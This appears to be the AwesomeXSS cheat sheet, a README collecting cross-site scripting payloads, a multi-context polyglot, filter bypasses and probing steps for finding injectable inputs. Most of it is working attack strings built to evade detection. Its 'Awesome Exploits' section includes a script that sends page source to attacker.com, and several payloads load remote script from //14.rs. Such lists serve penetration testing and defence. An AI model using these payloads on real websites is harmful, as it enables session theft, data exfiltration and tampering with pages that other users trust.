### Awesome XSS Mind Maps
A beautiful XSS mind map by Jack Masa, [here](https://github.com/s0md3v/AwesomeXSS/blob/master/Database/jackmasa-mind-map.png)

### Awesome DOM XSS

- Does your input go into a sink? `Vulnerable`
- It doesn't? `Not vulnerable`

**Source**: An input that could be controlled by an external (untrusted) source.

```
document.URL
document.documentURI
document.URLUnencoded (IE 5.5 or later Only)
document.baseURI
location
location.href
location.search
location.hash
location.pathname
document.cookie
document.referrer
window.name
history.pushState()
history.replaceState()
localStorage
sessionStorage
```

**Sink**: A potentially dangerous method that could lead to a vulnerability. In this case a DOM Based XSS.

```
eval
Function
setTimeout
setInterval
setImmediate
execScript
crypto.generateCRMFRequest
ScriptElement.src
ScriptElement.text
ScriptElement.textContent
ScriptElement.innerText
anyTag.onEventName
document.write
document.writeln
anyElement.innerHTML
Range.createContextualFragment
window.location
document.location
```

This comprehensive list of sinks and source is taken from [domxsswiki](https://github.com/wisec/domxsswiki).

### Awesome Payloads
```
<A/hREf="j%0aavas%09cript%0a:%09con%0afirm%0d``">z
<d3"<"/onclick="1>[confirm``]"<">z
<d3/onmouseenter=[2].find(confirm)>z
<details open ontoggle=confirm()>
<script y="><">/*<script* */prompt()</script
<w="/x="y>"/ondblclick=`<`[confir\u006d``]>z
<a href="javascript%26colon;alert(1)">click
<a href=javas&#99;ript:alert(1)>click
<script/"<a"/src=data:=".<a,[8].some(confirm)>
<svg/x=">"/onload=confirm()//
<--`<img/src=` onerror=confirm``> --!>
<svg%0Aonload=%09((pro\u006dpt))()//
<sCript x>(((confirm)))``</scRipt x>
<svg </onload ="1> (_=prompt,_(1)) "">
<!--><script src=//14.rs>
<embed src=//14.rs>
<script x=">" src=//15.rs></script>
<!'/*"/*/'/*/"/*--></Script><Image SrcSet=K */; OnError=confirm`1` //>
<iframe/src \/\/onload = prompt(1)
<x oncut=alert()>x
<svg onload=write()>
```

### Awesome Polyglots

Here's an XSS polyglot that I made which can break out of 20+ contexts:
```
%0ajavascript:`/*\"/*-->&lt;svg onload='/*</template></noembed></noscript></style></title></textarea></script><html onmouseover="/**/ alert()//'">`
```

Explanation of how it works, [here](https://github.com/s0md3v/AwesomeXSS/blob/master/Database/polyglot.png)

### Awesome Tags & Event Handlers
- [105 Event Handlers with description](https://github.com/UltimateHackers/AwesomeXSS/blob/master/Database/event-handlers.md)
- [200 Event Handlers without description](http://pastebin.com/raw/WwcBmz5J)

Some less detected event handlers
```
ontoggle
onauxclick
ondblclick
oncontextmenu
onmouseleave
ontouchcancel
```

Some HTML Tags that you will be using
```
img
svg
body
html
embed
script
object
details
isindex
iframe
audio
video
```

### Awesome Context Breaking

#### HTML Context
Case: `<tag>You searched for $input. </tag>`

```
<svg onload=alert()>
</tag><svg onload=alert()>
```

#### Attribute Context

Case: `<tag attribute="$input">`

```
"><svg onload=alert()>
"><svg onload=alert()><b attr="
" onmouseover=alert() "
"onmouseover=alert()//
"autofocus/onfocus="alert()
```
#### JavaScript Context

Case: `<script> var new something = '$input'; </script>`

```
'-alert()-'
'-alert()//'
'}alert(1);{'
'}%0Aalert(1);%0A{'
</script><svg onload=alert()>
```

### Awesome Confirm Variants
Yep, confirm because alert is too mainstream.
```
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
```

### Awesome Exploits
##### Replace all links
```javascript
Array.from(document.getElementsByTagName("a")).forEach(function(i) {
  i.href = "https://attacker.com";
});
```
##### Source Code Stealer
```html
<svg/onload="(new Image()).src='//attacker.com/'%2Bdocument.documentElement.innerHTML">
```

### Awesome Probing
If nothing of this works, take a look at **Awesome Bypassing** section

First of all, enter a non-malicious string like **d3v** and look at the source code to get an idea about number and contexts of reflections.
<br>Now for attribute context, check if double quotes (") are being filtered by entering `x"d3v`. If it gets altered to `x&quot;d3v`, chances are that output is getting properly escaped. If this happens, try doing the same for single quotes (') by entering `x'd3v`, if it gets altered to `x&apos;`, you are doomed. The only thing you can try is encoding.<br>
If the quotes are not being filtered, you can simply try payloads from **Awesome Context Breaking** section.
<br>For javascript context, check which quotes are being used for example if they are doing
```
variable = 'value' or variable = "value"
```
Now lets say single quotes (') are in use, in that case enter `x'd3v`. If it gets altered to `x\'d3v`, try escaping the backslash (\) by adding a backslash to your probe i.e. `x\'d3v`. If it works use the following payload:
```
\'-alert()//
```
But if it gets altered to `x\\\'d3v`, the only thing you can try is closing the script tag itself by using
```
</script><svg onload=alert()>
```
For simple HTML context, the probe is `x<d3v`. If it gets altered to `x&gt;d3v`, proper sanitization is in place. If it gets reflected as it as, you can enter a dummy tag to check for potential filters. The dummy tag I like to use is `x<xxx>`. If it gets stripped or altered in any way, it means the filter is looking for a pair of `<` and `>`. It can simply bypassed using
```
<svg onload=alert()//
```
or this (it will not work in all cases)
```
<svg onload=alert()
```
If the your dummy tags lands in the source code as it is, go for any of these payloads
```
<svg onload=alert()>
<embed src=//14.rs>
<details open ontoggle=alert()>
```

### Awesome Bypassing

**Note:** None of these payloads use single (') or double quotes (").

- Without event handlers
```
<object data=javascript:confirm()>
<a href=javascript:confirm()>click here
<script src=//14.rs></script>
<script>confirm()</script>
```
- Without space
```
<svg/onload=confirm()>
<iframe/src=javascript:alert(1)>
```
- Without slash (/)
```
<svg onload=confirm()>
<img src=x onerror=confirm()>
```
- Without equal sign (=)
```
<script>confirm()</script>
```
- Without closing angular bracket (>)
```
<svg onload=confirm()//
```
- Without alert, confirm, prompt
```
<script src=//14.rs></script>
<svg onload=co\u006efirm()>
<svg onload=z=co\u006efir\u006d,z()>
```
- Without a Valid HTML tag
```
<x onclick=confirm()>click here
<x ondrag=aconfirm()>drag it
```

- Bypass tag blacklisting
```
</ScRipT>
</script
</script/>
</script x>
```

### Awesome Tips & Tricks
- `http(s)://` can be shortened to `//` or `/\\` or `\\`.
- `document.cookie` can be shortened to `cookie`. It applies to other DOM objects as well.
- alert and other pop-up functions don't need a value, so stop doing `alert('XSS')` and start doing `alert()`
- You can use `//` to close a tag instead of `>`.
- I have found that `confirm` is the least detected pop-up function so stop using `alert`.
- Quotes around attribute value aren't necessary as long as it doesn't contain spaces. You can use `<script src=//14.rs>` instead of `<script src="//14.rs">`
- The shortest HTML context XSS payload is `<script src=//14.rs>` (19 chars)
